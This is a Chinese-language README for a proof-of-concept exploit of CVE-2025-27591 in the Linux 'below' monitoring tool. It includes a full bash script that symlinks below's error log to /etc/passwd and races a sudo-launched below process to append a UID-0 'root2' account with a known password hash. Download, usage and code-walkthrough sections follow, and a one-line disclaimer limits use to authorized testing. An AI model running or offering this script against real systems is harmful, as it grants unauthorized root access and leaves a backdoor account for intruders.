CVE-2025-27591 Exploit - Below权限提升漏洞利用
项目描述
本项目是一个针对CVE-2025-27591漏洞的概念验证(PoC)利用脚本,旨在演示Linux系统中below实用工具存在的权限提升漏洞。该漏洞源于below对/var/log/below/目录下日志文件的错误处理机制,攻击者可以将日志文件替换为指向敏感系统文件(如/etc/passwd)的符号链接。通过利用此漏洞,非特权用户能够向密码文件中注入新的root级别用户,从而获得系统管理员权限。
功能特性
- 自动化利用流程:脚本自动执行从备份到提权的完整攻击链
- 安全备份机制:在执行前自动备份原始
/etc/passwd文件,降低操作风险 - 多重尝试策略:采用循环尝试机制(最多80次),提高在竞争条件下的成功率
- 自动清理与恢复:如果利用失败,自动恢复原始密码文件
- 实时状态反馈:提供详细的执行进度和状态信息
- 权限验证:自动检测是否成功创建恶意用户
安装指南
前提条件
- 目标系统上安装了存在漏洞的
below实用工具 - 具有执行sudo命令的权限(无需root密码)
- Bash shell环境
/var/log/below/目录存在且可写入
系统要求
- Linux操作系统
below工具版本受CVE-2025-27591影响- 基本的系统工具(cp, ln, kill, getent等)
安装步骤
下载脚本
wgethttps://raw.githubusercontent.com/your-repo/below-log-race-poc/main/exploit_CVE-2025-27591.sh授予执行权限
chmod+x exploit_CVE-2025-27591.sh验证依赖
确保系统已安装以下工具:sudobelow(位于/usr/bin/below)- 标准Linux核心工具
使用说明
基本用法
./exploit_CVE-2025-27591.sh成功后的操作
如果脚本执行成功,将看到以下提示:
[+] Successfully added root2 on attempt X [*] You can now switch user with: su - root2 (password: 1)然后可以使用以下命令切换到新创建的root用户:
su- root2密码为:1
典型使用场景
- 安全研究:用于教育和研究目的,了解竞争条件漏洞的利用方法
- 渗透测试:在授权测试中验证系统漏洞
- 安全评估:评估系统对符号链接攻击的防御能力
工作原理
- 创建原始
/etc/passwd的备份 - 将
/var/log/below/error_root.log符号链接到/etc/passwd - 启动
below进程触发日志访问 - 在文件锁定时尝试向
/etc/passwd写入新的用户条目 - 重复尝试直到成功或达到最大尝试次数
退出状态码
0:利用成功,已创建root2用户1:利用失败,已恢复原始文件
核心代码
主要漏洞利用逻辑
#!/bin/bash# Exploit script for CVE-2025-27591 leveraging 'below' log handling# This script attempts to gain root by injecting a fake user into /etc/passwdset-euo pipefail# Payload user line (password = "1")USER_LINE='root2:aacFCuAIHhrCM:0:0:,,,:/root:/bin/bash'# Target file (symlink to /etc/passwd via vulnerable log mechanism)TARGET='/var/log/below/error_root.log'# Backup original /etc/passwd just in caseBACKUP="/tmp/passwd.bak_$(date+%s)"echo"[i] Backing up /etc/passwd to$BACKUP"cp/etc/passwd"$BACKUP"||trueecho"[i] Planting symlink to /etc/passwd"sudorm-f"$TARGET"2>/dev/null||trueln-sf /etc/passwd"$TARGET"ls-l"$TARGET"||true# Attempt multiple times, as timing can be trickyforattemptin$(seq180);do# Run vulnerable binary in background to trigger log accesssetsidsudo-n /usr/bin/below live>/dev/null2>&1</dev/null&BLPID=$!sleep0.2# Try to inject the malicious user line into /etc/passwdprintf'\n%s\n'"$USER_LINE">>"$TARGET"2>/dev/null||truesleep0.1# Kill the background process to free the filekill"$BLPID"2>/dev/null||true# Check if the user was successfully createdifgetentpasswdroot2>/dev/null;thenecho"[+] Successfully added root2 on attempt$attempt"getentpasswdroot2echo"[*] You can now switch user with: su - root2 (password: 1)"exit0fidone# If all attempts failed, restore the original passwd fileecho"[-] Exploit failed. Restoring backup..."cp"$BACKUP"/etc/passwdexit1代码注释说明
- 安全设置:
set -euo pipefail确保脚本在出错时立即退出,提高安全性 - 用户注入:
USER_LINE变量包含要注入的root用户信息,其中哈希对应密码"1" - 目标选择:
TARGET指向漏洞利用的日志文件路径 - 备份机制:使用时间戳创建唯一的备份文件名,防止覆盖
- 符号链接创建:通过
ln -sf强制创建符号链接,指向敏感的/etc/passwd文件 - 竞争条件利用:循环80次尝试,每次启动
below进程并尝试写入目标文件 - 进程管理:使用
setsid和后台进程确保below独立运行 - 结果验证:通过
getent命令验证用户是否成功创建 - 清理恢复:失败时自动恢复原始
/etc/passwd文件
恶意用户条目解析
# 格式:username:password_hash:UID:GID:comment:home_dir:shell# root2 - 新用户名# aacFCuAIHhrCM - 对应密码"1"的DES加密哈希# 0:0 - UID和GID均为0(root权限)# /root - 主目录# /bin/bash - 默认shellUSER_LINE='root2:aacFCuAIHhrCM:0:0:,,,:/root:/bin/bash'此脚本演示了如何利用文件系统竞争条件和符号链接攻击来提升权限,是一个典型的安全漏洞利用案例。请仅在授权的测试环境中使用。
6HFtX5dABrKlqXeO5PUv/1r8nWCmBn5jGX8muYeejmahjr0tIIS/kl3v0upuppg6
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)